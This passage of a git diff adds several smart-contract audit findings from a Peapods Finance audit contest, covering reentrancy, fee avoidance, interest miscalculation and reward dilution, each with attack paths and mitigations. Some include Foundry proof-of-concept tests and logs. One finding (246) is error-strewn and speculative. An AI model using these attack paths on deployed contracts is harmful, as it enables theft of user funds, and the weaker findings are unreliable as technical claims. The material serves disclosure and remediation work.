+### Internal Pre-conditions
+
+-
+
+### External Pre-conditions
+
+-
+
+### Attack Path
+
+-
+
+### Impact
+
+Reentrancy to `DecentralizedIndex.sol#_update()` will cause more fees on transfer, buy and sell.
+Reentrancy is repeated until fee becomes zero.
+In case that this contract is configured for fee on transfer, L176 makes `fee` cannot be zero and this leads to continued reentrancy as making that transfer is always reverted.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Modify `DecentralizedIndex.sol#_update()` function as follows.
+```solidity
+ bool update_entered = 0;
+ function _update(address _from, address _to, uint256 _amount) internal override {
+ require(!_blacklist[_to], "BK");
+ bool _buy = _from == V2_POOL && _to != V2_ROUTER;
+ bool _sell = _to == V2_POOL;
+ uint256 _fee;
+-- if (_swapping == 0 && _swapAndFeeOn == 1) {
+++ if (_swapping == 0 && _swapAndFeeOn == 1 && !update_entered) {
+ if (_from != V2_POOL) {
+ _processPreSwapFeesAndSwap();
+ }
+ if (_buy && _fees.buy > 0) {
+ _fee = (_amount * _fees.buy) / DEN;
+ super._update(_from, address(this), _fee);
+ } else if (_sell && _fees.sell > 0) {
+ _fee = (_amount * _fees.sell) / DEN;
+ super._update(_from, address(this), _fee);
+ } else if (!_buy && !_sell && _config.hasTransferTax) {
+ _fee = _amount / 10000; // 0.01%
+ _fee = _fee == 0 && _amount > 0 ? 1 : _fee;
+ super._update(_from, address(this), _fee);
+ }
+ }
+++ update_entered = true;
+ _processBurnFee(_fee);
+++ update_entered = false;
+ super._update(_from, _to, _amount - _fee);
+ }
+```
\ No newline at end of file
diff --git a/243.md b/243.md
new file mode 100644
index 0000000..a164366
--- /dev/null
+++ b/243.md
@@ -0,0 +1,94 @@
+Atomic Syrup Leopard
+
+Medium
+
+# Fraxlend borrowers can pay less borrow fees
+
+### Summary
+
+When interests are accrued, the interest rate is determined by the utilization rate of the pair, which is determined by the total borrow amount and the total asset amount. However, the `FraxlendPairCore` mistakenly calculates the assets sitting in the LAV as part of the total assets, leading to lower utilization rate and lower interest rate.
+
+### Root Cause
+
+The root cause of the issue is in [`_addInterest`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/fraxlend/src/contracts/FraxlendPairCore.sol#L456) and [`_calculateInterest`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/fraxlend/src/contracts/FraxlendPairCore.sol#L398) where it includes the available assets in the LAV as part of the total assets.
+
+### Internal Pre-conditions
+
+N/A
+
+### External Pre-conditions
+
+- A user had borrowed assets from a FraxlendPair
+
+### Attack Path
+
+- Current utilization rate of a FraxlendPair is 90%, 9000 DAI is borrowed, and 1000 DAI is deposited in total, including the available assets in the LAV
+- Alice flashloans 1000 DAI and deposit into the LAV, which makes the utilization rate 45%
+- Alice calls `repayAsset` to repay her debts, paying less borrow fees
+- Alice withdraws her 1000 DAI from LAV
+
+### Impact
+
+Users can pay less borrow fees than they should
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+The available assets in the LAV should not be included in the total assets of the FraxlendPair when calculating the utilization rate.
+
+```diff
+ function _addInterest()
+ internal
+ returns (
+ bool _isInterestUpdated,
+ uint256 _interestEarned,
+ uint256 _feesAmount,
+ uint256 _feesShare,
+ CurrentRateInfo memory _currentRateInfo
+ )
+ {
+ // Pull from storage and set default return values
+ _currentRateInfo = currentRateInfo;
+
+ // store the current utilization rate as previous for next check
+- uint256 _totalAssetsAvailable = _totalAssetAvailable(totalAsset, totalBorrow, true);
++ uint256 _totalAssetsAvailable = _totalAssetAvailable(totalAsset, totalBorrow, false);
+ _prevUtilizationRate = _totalAssetsAvailable == 0 ? 0 : (UTIL_PREC * totalBorrow.amount) / _totalAssetsAvailable;
+
+ // Calc interest
+ InterestCalculationResults memory _results = _calculateInterest(_currentRateInfo);
+
+ ...
+ }
+
+ function _calculateInterest(CurrentRateInfo memory _currentRateInfo)
+ internal
+ view
+ returns (InterestCalculationResults memory _results)
+ {
+ // Short circuit if interest already calculated this block OR if interest is paused
+ if (_currentRateInfo.lastTimestamp != block.timestamp && !isInterestPaused) {
+ // Indicate that interest is updated and calculated
+ _results.isInterestUpdated = true;
+
+ // Write return values and use these to save gas
+ _results.totalAsset = totalAsset;
+ _results.totalBorrow = totalBorrow;
+
+ // Time elapsed since last interest update
+ uint256 _deltaTime = block.timestamp - _currentRateInfo.lastTimestamp;
+
+ // Total assets available including what resides in the external vault
+- uint256 _totalAssetsAvailable = _results.totalAsset.totalAmount(address(externalAssetVault));
++ uint256 _totalAssetsAvailable = _results.totalAsset.totalAmount(address(0));
+
+ // Get the utilization rate
+ uint256 _utilizationRate =
+ _totalAssetsAvailable == 0 ? 0 : (UTIL_PREC * _results.totalBorrow.amount) / _totalAssetsAvailable;
+
+ // ...
+ }
+```
\ No newline at end of file
diff --git a/244.md b/244.md
new file mode 100644
index 0000000..f80b044
--- /dev/null
+++ b/244.md
@@ -0,0 +1,117 @@
+Scrawny Mahogany Boa
+
+High
+
+# Users'assets losses due to incorrect calculation of `vaultUtilization[_vault]` in the contract `LendingAssetVault`
+
+### Summary
+
+In the contract `LendingAssetVault`, the function `_updateAssetMetadataFromVault` will update the value of `vaultUtilization[_vault])` from based on the CBR updates from last check. When the _vault has bad debt which leads to the situation that `_prevVaultCbr > _vaultWhitelistCbr[_vault]`, the value of `vaultUtilization[_vault]` will be calculated to be `old_vaultUtilization[_vault]*(2-_prevVaultCbr / _vaultWhitelistCbr[_vault])`. However, the `vaultUtilization[_vault]` actually represents the `LendingAssetVault`'s amount of assets with accumulated interests in the `_vault`.
+
+For example, when the value of `_prevVaultCbr / _vaultWhitelistCbr[_vault]` is `2`, the value of `vaultUtilization[_vault]` will be `0` which means the `LendingAssetVault`'s amount of assets with accumulated interests in the `_vault` is `0`. But actually when the value of `_prevVaultCbr / _vaultWhitelistCbr[_vault]` is `2`, the `LendingAssetVault`'s amount of assets with accumulated interests in the `_vault` is actually half of the previous value rather than `0`.
+
+This will lead to that, the `_totalAssets` of the `LendingAssetVault` is less than the actual amount of the asset that the `LendingAssetVault`, which finally causes the users who deposit in to the `LendingAssetVault` suffer assets' losses.
+
+
+[LendingAssetVault](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L287-L305)
+
+```solidity
+ function _updateAssetMetadataFromVault(address _vault) internal {
+ uint256 _prevVaultCbr = _vaultWhitelistCbr[_vault];
+ _vaultWhitelistCbr[_vault] = IERC4626(_vault).convertToAssets(PRECISION);
+ if (_prevVaultCbr == 0) {
+ return;
+ }
+ uint256 _vaultAssetRatioChange = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+ ? ((PRECISION * _prevVaultCbr) / _vaultWhitelistCbr[_vault]) - PRECISION
+ : ((PRECISION * _vaultWhitelistCbr[_vault]) / _prevVaultCbr) - PRECISION;
+
+ uint256 _currentAssetsUtilized = vaultUtilization[_vault];
+ uint256 _changeUtilizedState = (_currentAssetsUtilized * _vaultAssetRatioChange) / PRECISION;
+ vaultUtilization[_vault] = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+ ? _currentAssetsUtilized < _changeUtilizedState ? 0 : _currentAssetsUtilized - _changeUtilizedState
+ : _currentAssetsUtilized + _changeUtilizedState;
+ _totalAssetsUtilized = _totalAssetsUtilized - _currentAssetsUtilized + vaultUtilization[_vault];
+ _totalAssets = _totalAssets - _currentAssetsUtilized + vaultUtilization[_vault];
+ emit UpdateAssetMetadataFromVault(_vault, _totalAssets, _totalAssetsUtilized);
+ }
+```
+
+
+### Root Cause
+
+When the _vault has bad debt which leads to the situation that `_prevVaultCbr > _vaultWhitelistCbr[_vault]`, the value of `vaultUtilization[_vault]` will be calculated to be `old_vaultUtilization[_vault]*(2-_prevVaultCbr / _vaultWhitelistCbr[_vault])` which is incorrect. The correct value of `vaultUtilization[_vault]` should be `old_vaultUtilization[_vault]*(_vaultWhitelistCbr[_vault] / _prevVaultCbr)`.
+
+
+### Internal Pre-conditions
+
+N/A
+
+### External Pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+This will lead to that, the `_totalAssets` of the `LendingAssetVault` is less than the actual amount of the asset that the `LendingAssetVault`, which finally causes the users who deposit in to the `LendingAssetVault` suffer assets' losses.
+
+
+### PoC
+
+1. The `_totalAssets` of the `LendingAssetVault` is 0.
+
+2. A user deposit `1000e18` assets and mint `1000e18` shares.
+
+2. The `_totalAssets` of the `LendingAssetVault` is 1000e18.
+
+3. The vault1 is one vault that in the `LendingAssetVault`'s `vaultWhitelist`.
+ `vaultUtilization[vault1]`=0
+ `_vaultWhitelistCbr[vault1]`=0
+
+4. The vault1 invokes the function `whitelistWithdraw` to withdraw the 1000e18 asset from the `LendingAssetVault` and currently the `IERC4626(vault1).convertToAssets(PRECISION)` is a.
+ `vaultUtilization[vault1]`=1000e18.
+ `_vaultWhitelistCbr[vault1]`= a
+ `_totalAssets`= 1000e18
+
+5. The vault1 has bad debts in liquidation, causing the `IERC4626(vault1).convertToAssets(PRECISION)` to be a/2.
+
+6. The user withdraw assets from the `LendingAssetVault`.
+ `_vaultWhitelistCbr[vault1]`= a/2
+ `vaultUtilization[vault1]`=1000e18*(2-(a/(a/2)))=0
+ `_totalAssets` = 1000e18 - 1000e18 + 0 = 0
+
+ Finally, the user burn `1000e18` shares but get 0 assets.
+7. In the meanwhile, actually there still exists `500e18` assets in the vault1.
+
+
+### Mitigation
+
+Change the calculation of the `_vaultAssetRatioChange` to be `PRECISION - ((PRECISION * _vaultWhitelistCbr[_vault]) / _prevVaultCbr)` when `_prevVaultCbr > _vaultWhitelistCbr[_vault]`.
+
+[LendingAssetVault](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L287-L305)
+
+```solidity
+ function _updateAssetMetadataFromVault(address _vault) internal {
+ uint256 _prevVaultCbr = _vaultWhitelistCbr[_vault];
+ _vaultWhitelistCbr[_vault] = IERC4626(_vault).convertToAssets(PRECISION);
+ if (_prevVaultCbr == 0) {
+ return;
+ }
+ uint256 _vaultAssetRatioChange = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+ ? PRECISION - ((PRECISION * _vaultWhitelistCbr[_vault]) / _prevVaultCbr)
+ : ((PRECISION * _vaultWhitelistCbr[_vault]) / _prevVaultCbr) - PRECISION;
+
+ uint256 _currentAssetsUtilized = vaultUtilization[_vault];
+ uint256 _changeUtilizedState = (_currentAssetsUtilized * _vaultAssetRatioChange) / PRECISION;
+ vaultUtilization[_vault] = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+ ? _currentAssetsUtilized < _changeUtilizedState ? 0 : _currentAssetsUtilized - _changeUtilizedState
+ : _currentAssetsUtilized + _changeUtilizedState;
+ _totalAssetsUtilized = _totalAssetsUtilized - _currentAssetsUtilized + vaultUtilization[_vault];
+ _totalAssets = _totalAssets - _currentAssetsUtilized + vaultUtilization[_vault];
+ emit UpdateAssetMetadataFromVault(_vault, _totalAssets, _totalAssetsUtilized);
+ }
+```
\ No newline at end of file
diff --git a/245.md b/245.md
new file mode 100644
index 0000000..6dc7af1
--- /dev/null
+++ b/245.md
@@ -0,0 +1,52 @@
+Atomic Syrup Leopard
+
+Medium
+
+# Incorrect swap output token provided in `LeverageManager` when the self-lending pair is podded
+
+### Summary
+
+The `PAIRED_LP_TOKEN` of a pod can be one three types of assets:
+
+- ERC20 like DAI
+- FraxlendPair token, e.g. fDAI(pABC)
+- Pod token of FraxlendPair
+
+In initializing positions in `LeverageManager`, the parameter `_hasSelfLendingPairPod` is provided that indicates whether the paired lp token is a pod or just lending pair LP.
+
+When removing leverage and borrow assets unstaked are not enough to pay back flash loan, some amount of `pTkn` is swapped into borrow assets. However, it does not consider the case when the paired lp token is a pod token of a FraxlendPair, which causes reverts in swap because the Uniswap V2 pool does not exist.
+
+### Root Cause
+
+The root cause is in [`_acquireBorrowTokenForRepayment`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/lvf/LeverageManager.sol#L434-L446) function of `LeverageManager` contract, where it does not consider the case when the paired lp token is a pod token of a FraxlendPair.
+
+### Internal Pre-conditions
+
+- A pod is setup with podded FraxlendPair LP token as paired LP token
+
+### External Pre-conditions
+
+- A user has added a leverage position in `LeverageManager`
+
+### Attack Path
+
+- Alice had added a leverage position in `LeverageManager` for a pod with podded FraxlendPair LP token as paired LP token
+- Alice attempts to remove her leverage
+- 1000 DAI is borrowed from flash loan to repay the borrow assets on Fraxlend pair
+- By unstaking `aspTkn`, she's got 200 `pTkn` and 800 DAI
+- To repay the flash loan, some amount of `pTkn` is required to be swapped into DAI
+- Since `pTkn`'s paired lp token is a pod token of a FraxlendPair, `pTkn / PairedLPToken` pair exists on Uniswap V2
+- However, the contract tries to swap from `pTkn` to `fTkn`, where the pair does not exist on Uniswap V2
+- Thus, the swap reverts
+
+### Impact
+
+Users cannot remove leverage when the paired lp token is a pod token of a FraxlendPair.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+When the paired lp token is a pod token of a FraxlendPair, the swap output token should be the pod token instead of lending pair token.
\ No newline at end of file
diff --git a/246.md b/246.md
new file mode 100644
index 0000000..228c959
--- /dev/null
+++ b/246.md
@@ -0,0 +1,150 @@
+Chilly Ruby Spider
+
+High
+
+# Reentrancy Vulnerability in debond() Function
+
+### Summary
+
+
+Severity : Critical
+Description:
+The debond() function in WeightedIndex.sol is potentially vulnerable to a reentrancy attack. If an attacker creates a malicious contract that exploits debond() by calling itself before the function updates user balances, they can withdraw more tokens than they deposited.
+Code Reference (Simplified Code)
+function debond(uint256 amount, address[] memory n1, uint8[] memory n2) external {
+ uint256 initialBalance = peas.balanceOf(msg.sender);
+
+ (bool success, ) = msg.sender.call{value: amount}(""); // ⚠️ External Call Before State Change ⚠️
+ require(success, "Transfer failed");
+
+ peas.burn(amount); // ❌ Balance Updated **After** Transfer
+}
+• The external call (call{value: amount}) occurs before the contract updates the peas.burn(amount).
+• This allows an attacker to re-enter the function and withdraw funds multiple times.
+
+
+
+### Root Cause
+
+Suggested Fix:
+Use the Checks-Effects-Interactions pattern to prevent reentrancy:
+function debond(uint256 amount, address[] memory n1, uint8[] memory n2) external {
+ peas.burn(amount); // ✅ Update State First
+ (bool success, ) = msg.sender.call{value: amount}(""); // ✅ External Call After State Update
+ require(success, "Transfer failed");
+}
+Or
+Use OpenZeppelin’s ReentrancyGuard:
+import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
+contract WeightedIndex is ReentrancyGuard {
+function debond(uint256 amount, address[] memory n1, uint8[] memory n2) external nonReentrant {
+ peas.burn(amount);
+(bool success, ) = msg.sender.call{value: amount}(""); require(success, "Transfer failed");
+}
+}
+
+
+### Internal Pre-conditions
+
+tokens to set their bonded balance to be at least 10 ETH
+1.the attacker deposits tokens using bond before executing debond()
+2.state change bondedBalance [msg.sender] goes from 0 to 10 eth
+3.a total bondedSupply of atleast 100 ETH
+4. state change bondedSupply goes from 0 to 100 ETH
+5. Recursive debond() calls must occur untill the entire contract balance is drained.
+
+### External Pre-conditions
+
+1. attacker must hold bonded tiokens in the weightedIndex contract
+the attacker needs to bond a certain amount of rokens using bond()
+example: the attacker deposites 10n eth worth of tokemns into weightedIndex.sol
+
+2. The ethureum network must allow fast recursive transactions
+the attack relies on the ability to execute multiple transactions in the same block before the state updates.
+No gas price
+
+### Attack Path
+
+Attack Path:
+
+1. The liquidity providers (LPS) and protocol suffer a 100% loss of their deposited funds if exploited
+2. The attackers gains 100% of the funds stored in the WeightedIndex.so; contract by recursively withdrawing before state updates.
+
+
+### Impact
+
+Impact: Can lead to double withdrawals and fund drains.
+
+
+Exploit Break down:
+
+1. who is effected?
+Liquidity providers (LPS) who have bonded tokens in WeightedIndex.sol.
+The Protocol Treasury (if it holds user deposites)
+
+2. Approximate Loss:
+Full contract balance can be drained, leading to a 100% fund loss from the staking/bonding pool.
+
+3. attackers Gain:
+The attackers gains all user funds from the contract.
+The could range from hundreds to millions of dollars depending on the contract TVL.
+
+Example Impact statement for submissions:
+
+The liquidity providers (LPs) and protocol treasury suffer a 100% loss of deposited funds due to reentrancy in debond().
+The attacker gains 100% of the bond pool balance by recursively withdrawing before the contract updates its state, effectively draining the contracr compltely.
+
+Vulnerability path (withourt an active attack)
+
+if not exploited yet, this remains a criticla security flaw:
+the protocol is at risk of catastrophic fund loss if not patched
+users cannnot safely use debond(), as their funds remain vulnerable.
+
+The protocol is at risk of complete fund loss due to reentrancy vulnerability in debond().
+
+users cannot safely with draw their bonded funds without risk of attacker during the contract/
+
+
+
+### PoC
+
+Proof of Concept(PoC) Exploit Code:
+// SPDX-License-Identifier: MIT
+pragma solidity ^ 0.8.19;
+import "forge-std/Test.sol";
+import "../contracts/WeightedIndex.sol";
+import "../contracts/ReentrancyAttack.sol";
+contract ReentrancyTest is Test {
+ WeightedIndex public pod;
+ ReentrancyAttack public attacker;
+ address public alice = address(0x1);
+ function setUp() public {
+ pod = new WeightedIndex(); // Deploy target contract
+ attacker = new ReentrancyAttack(address(pod)); // Deploy attacker contract
+ }
+ function testReentrancy() public {
+ vm.deal(address(attacker), 100 ether); // Give attacker ETH
+ vm.prank(address(attacker));
+ attacker.attack(); // Start reentrancy attack
+ assertEq(pod.totalSupply(), 0, "Reentrancy should have drained funds");
+ }
+}
+
+### Mitigation
+
+
+Use the Checks-Effects-Interactions pattern to prevent reentrancy:
+function debond(uint256 amount, address[] memory n1, uint8[] memory n2) external {
+ peas.burn(amount); // ✅ Update State First
+ (bool success, ) = msg.sender.call{value: amount}(""); // ✅ External Call After State Update
+ require(success, "Transfer failed");
+}
+Or
+Use OpenZeppelin’s ReentrancyGuard:
+import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
+contract WeightedIndex is ReentrancyGuard {
+function debond(uint256 amount, address[] memory n1, uint8[] memory n2) external nonReentrant {
+ peas.burn(amount);
+(bool success, ) = msg.sender.call{value: amount}(""); require(success, "Transfer failed");
+}
+}
diff --git a/247.md b/247.md
new file mode 100644
index 0000000..8af8c60
--- /dev/null
+++ b/247.md
@@ -0,0 +1,49 @@
+Atomic Syrup Leopard
+
+Medium
+
+# Users can avoid paying close fee by setting `_podSwapAmtOutMin` high.
+
+### Summary
+
+Users pay a close fee based on the amount of Pod token received when removing leverage.
+Users can reduce the amount of Pod token received from removing leverage, by setting `_podSwapAmtOutMin` high. `_podSwapAmtOutMin` is used as the amount of `pairedLpToken` that the user wants to receive by swapping pod tokens.
+This means that the user can avoid the close fee..
+
+### Root Cause
+
+`_podSwapAmtOutMin` which is the parameter of [`removeLeverage`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/lvf/LeverageManager.sol#L154) function, is used as the amount of `pairedLpToken` to receive as a result of the swap in [`_swapPodForBorrowToken`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/lvf/LeverageManager.sol#L466) function.
+
+The current code implementation is incorrect in handling the remaining `pairedLpToken` when `_podSwapAmtOutMin > _targetNeededAmt`, but `_podSwapAmtOutMin` exactly represents the amount of `pairedLpToken` that the user wants to receive by swapping the pod token. (The issue of not tracking accurate amount of remaining `pairedLpToken` will definitely be fixed.)
+
+[Close fee](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/lvf/LeverageManager.sol#L227) is calculated from the amount of pod tokens that the user receives after removing leverage and does not care about `pairedLpToken`.
+
+### Internal Pre-conditions
+
+No response
+
+### External Pre-conditions
+
+No response
+
+### Attack Path
+
+1. User calls `removeLeverage` function and sets `_podSwapAmtOutMin` as 100.
+2. After `_unstakeAndRemoveLP`, the amount of pod token that user will receive is 100.
+3. `_repayAmount - _pairedAmtReceived` is 10 so only 10 of pod token is needed for 10 of `pairedLpToken`. (Assume that the price of pod token and the pairedLpToken is the same)
+4. 100 of pod token is swapped to `pairedLpToken` becasue `_podSwapAmtOutMin` is 100.
+5. The amount of remaining pod token is 0 and no close fee.
+6. If `_podSwapAmtOutMin` is set to 0, so that only the required amount of pod tokens are swapped, the close fee is calculated with 90 of pod token.
+
+### Impact
+
+Users can avoid paying close fee when removing leverage.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Calculate the close fee for the `pairedLpToken` that is received after the leverage is removed.
+Or check the use of the `_podSwapAmtOutMin` variable in `_swapPodForBorrowToken` function.
\ No newline at end of file
diff --git a/248.md b/248.md
new file mode 100644
index 0000000..e72e22c
--- /dev/null
+++ b/248.md
@@ -0,0 +1,202 @@
+Curly Vermilion Scorpion
+
+High
+
+# Dilution of rewards pool of `TokenRewards`, when existing stakers are adding shares.
+
+### Summary
+
+In [`TokenRewards.sol`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol), when [`setShares`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/TokenRewards.sol#L97C1-L112C1) function is invoked with `_shareRemoving` as false from [`StakingPoolToken.sol`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/StakingPoolToken.sol#L101C1-L109C6) for adding shares via `_addShares` function for exisitng staker who already have shares in his _wallet trying to add new shares in his _wallet, will lead to reward diluation of rewardPool given that new rewardShares are being added from `depositRewards` after the intial addShares of existing staker.
+
+### Root Cause
+
+In `TokenRewards.sol` -> `Reward` struct there are two elements excluded & realized. Which is getting used in both `_distributeReward` -> `getUnpaid` and `_resetExcluded`.
+
+In which `realized` and `excluded` are getting inflated in the described scenario:
+Take this scenario where a user is already a staker with shares equivalent to 100e18, after his first addition of shares new rewards is being added via depositRewards to add reward to rewardToken address after certain timeframe let's assume 1week. After which user is adding more shares which is leading to diluation of rewards for other new stakers.
+
+
+### Internal Pre-conditions
+
+- Contract must have rewards deposited
+- `totalShares` must be greater than 0
+
+### External Pre-conditions
+
+- A user must have existing shares in the system
+- Additional rewards must have been deposited since their initial share addition
+- The user must perform another share addition operation
+
+### Attack Path
+
+- User initially stakes tokens (adds shares)
+- Wait for rewards to accumulate in the system via `depositRewards`
+- User adds more shares, triggering:
+ - Distribution of pending rewards and reset of excluded rewards, after adding more rewards to reward pool leading to gaining more rewards then he should have.
+- Reiterate the above steps to maximize inflation.
+
+
+### Impact
+
+Loss of Funds. This vulnerability allows users to inflate their rewards by repeatedly adding shares.
+
+### PoC
+
+To test this PoC add it to `TokenRewards.t.sol` and use command `forge test --mt test_addSharesResetExclude --rpc-url `
+
+```solidity
+function test_addSharesResetExclude() public {
+
+// Setup initial state
+
+rewardsWhitelister.setWhitelist(address(rewardsToken), true);
+
+console.log("\n=== Initial Setup ===");
+
+// Mint and deposit initial rewards
+
+rewardsToken.mint(address(this), 1000e18);
+
+tokenRewards.depositRewards(address(rewardsToken), 100e18);
+
+console.log("Initial rewards deposited:", 100e18);
+
+// First time user adds shares
+
+vm.startPrank(address(trackingToken));
+
+tokenRewards.setShares(user1, 100e18, false);
+
+vm.stopPrank();
+
+// Record state after first share addition
+
+(uint256 excluded1, uint256 realized1) = tokenRewards.rewards(address(rewardsToken), user1);
+
+console.log("\n=== After First Share Addition ===");
+
+console.log("Shares:", tokenRewards.shares(user1));
+
+console.log("Excluded:", excluded1);
+
+console.log("Realized:", realized1);
+
+// Time passes (1 week)
+
+vm.warp(block.timestamp + 1 weeks);
+
+// New rewards are added during this time
+
+tokenRewards.depositRewards(address(rewardsToken), 50e18);
+
+console.log("\n=== After Time Skip and New Rewards ===");
+
+console.log("Additional rewards deposited:", 50e18);
+
+// Calculate expected rewards before second share addition
+
+uint256 expectedBeforeSecond = tokenRewards.exposedCumulativeRewards(
+
+address(rewardsToken),
+
+100e18, // current shares
+
+false // no rounding up
+
+);
+
+console.log("Expected rewards before second addition:", expectedBeforeSecond);
+
+// User adds more shares
+
+vm.prank(address(trackingToken));
+
+tokenRewards.setShares(user1, 50e18, false); // Adding 50e18 more shares
+
+// Get final state
+
+(uint256 excludedFinal, uint256 realizedFinal) = tokenRewards.rewards(address(rewardsToken), user1);
+
+// Calculate what rewards should have been with total shares
+
+uint256 expectedTotal = tokenRewards.exposedCumulativeRewards(
+
+address(rewardsToken),
+
+150e18, // total shares after both additions
+
+false // no rounding up
+
+);
+
+console.log("\n=== Final State ===");
+
+console.log("Final shares:", tokenRewards.shares(user1));
+
+console.log("Final excluded:", excludedFinal);
+
+console.log("Final realized:", realizedFinal);
+
+console.log("Expected total rewards:", expectedTotal);
+
+console.log("Actual total (excluded + realized):", excludedFinal + realizedFinal);
+
+console.log("Difference:", (excludedFinal + realizedFinal) - expectedTotal);
+
+// Demonstrate reward dilution
+
+assertGt(
+
+excludedFinal + realizedFinal,
+
+expectedTotal,
+
+"Reward pool should be diluted due to incorrect reward calculation"
+
+);
+
+// Show the percentage of dilution
+
+uint256 dilutionPercent = ((excludedFinal + realizedFinal) - expectedTotal) * 100 / expectedTotal;
+
+console.log("\n=== Dilution Analysis ===");
+
+console.log("Dilution percentage:", dilutionPercent, "%");
+
+}
+```
+
+Logs:
+```solidity
+
+Logs:
+
+=== Initial Setup ===
+ Initial rewards deposited: 100000000000000000000
+
+=== After First Share Addition ===
+ Shares: 100000000000000000000
+ Excluded: 0
+ Realized: 0
+
+=== After Time Skip and New Rewards ===
+ Additional rewards deposited: 50000000000000000000
+ Expected rewards before second addition: 50000000000000000000
+
+=== Final State ===
+ Final shares: 150000000000000000000
+ Final excluded: 75000000000000000000
+ Final realized: 50000000000000000000
+ Expected total rewards: 75000000000000000000
+ Actual total (excluded + realized): 125000000000000000000
+ Difference: 50000000000000000000
+
+=== Dilution Analysis ===
+ Dilution percentage: 66 %
+```
+
+
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/249.md b/249.md
new file mode 100644
index 0000000..ebaf843
--- /dev/null
+++ b/249.md
@@ -0,0 +1,55 @@
+Fast Khaki Raccoon
+
+Medium
+
+# Users can abuse the 63/64 rule to get a share of rewards they shouldn't
+
+### Summary
+
+Users can abuse the 63/64 rule to get a share of rewards they shouldn't
+
+### Root Cause
+
+The try/catch mechanism allows for a 63/64 abuse in `TokenRewards`. When swapping rewards during the `depositFromPairedLpToken()` flow, we have this code as the __last__ operation:
+```solidity
+ try
+ DEX_ADAPTER.swapV3Single(...)
+ {
+ ...
+ } catch {
+ _rewardsSwapAmountInOverride = _amountIn / 2 < REWARDS_SWAP_OVERRIDE_MIN ? REWARDS_SWAP_OVERRIDE_MIN : _amountIn / 2;
+ IERC20(PAIRED_LP_TOKEN).safeDecreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ emit RewardSwapError(_amountIn);
+ }
+```
+Users can send enough gas to reach the swap, fail due to OOG and we will have 1/64 of the remaining gas to finish the catch block which will be successful as it is 2 simple operations.
+
+### Internal Pre-conditions
+
+.
+
+### External Pre-conditions
+
+.
+
+### Attack Path
+
+1. There are 1e18 of pending tokens to be added as rewards:
+```solidity
+uint256 _amountTkn = IERC20(PAIRED_LP_TOKEN).balanceOf(address(this)) - _unclaimedPairedLpTkns;
+```
+2. User does 30 consecutive __BUT__ separate transactions (separate as in different gas meters used so we can abuse the 63/64 rule for each of them) where each of them results in the case explained in the root cause section, after 30 such transactions, we will reach the minimum override amount of 1e9 (1e9 for 18 decimal tokens) due to the `catch` block logic. This should occur in a low gas fee chain such as Base where doing this won't result in a huge cost for the attacker
+3. User now stakes normally which processes the 1e9 rewards and swaps them, now there are `1e18 - 1e9` rewards to process __BUT__ the user is already staked, he will get a share of them
+4. User processes the remaining `1e18 - 1e9` (which is pretty much 1e18) and gets a share of them as if he had a stake from before that, this is unintended, leads to a profit for him, leads to a loss of funds for other users and breaks the main idea of a staking mechanism
+
+### Impact
+
+Loss of funds for users, unfair profit for the malicious user and breaks the main idea of a staking mechanism.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Make sure that there is enough gas to complete the swap and revert otherwise.
\ No newline at end of file
diff --git a/250.md b/250.md
new file mode 100644
index 0000000..ef5bfd5
--- /dev/null
+++ b/250.md
@@ -0,0 +1,355 @@
+Curly Vermilion Scorpion
+
+Medium
+
+# Unfair reward distribution dilution thorugh incorrect share calculation passed to process rewards
+
+### Summary
+
+In `AutoCompoundingPodLp.sol` -> [`deposit`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/AutoCompoundingPodLp.sol#L124C1-L128C6) function flow of deposit operations isn't appropriate which will lead to disproportionate distribution of rewards among user pool. Though similar finding was found in one of the previous audit's(which wasn't included in README file) with title [**Wrong order of Deposit Flow**](https://hackmd.io/@tapir/SyxqzohUA#H-3-Wrong-order-of-deposit-flow) where the attack vector was malicious user can deposit and withdraw immediately to make an atomic profit. Even after fixing that vulnerability by protocol in current contest commit hash the current implementation still contains a fundamental flaw in the operational flow that results in incorrect distribution of compounding rewards.
+
+
+### Root Cause
+
+This dilution of compoundign rewards of pod occurs because share calculation happens after rewards are processed but before the new deposit is considered in the total shares. The solution is to reverse these operations: calculate shares first, then process rewards.
+```soldiity
+function deposit(uint256 _assets, address _receiver) external override returns (uint256 _shares) {
+ _processRewardsToPodLp(0, block.timestamp); // @audit processRewardsToPodLp should be called after _convertToShares
+ _shares = _convertToShares(_assets, Math.Rounding.Floor);
+ _deposit(_assets, _shares, _receiver);
+ }
+```
+
+### Internal Pre-conditions
+
+1. Both user1 and user2 should share same pod.
+2. Both user1 and user2 should have same LP as their compounding rewards.
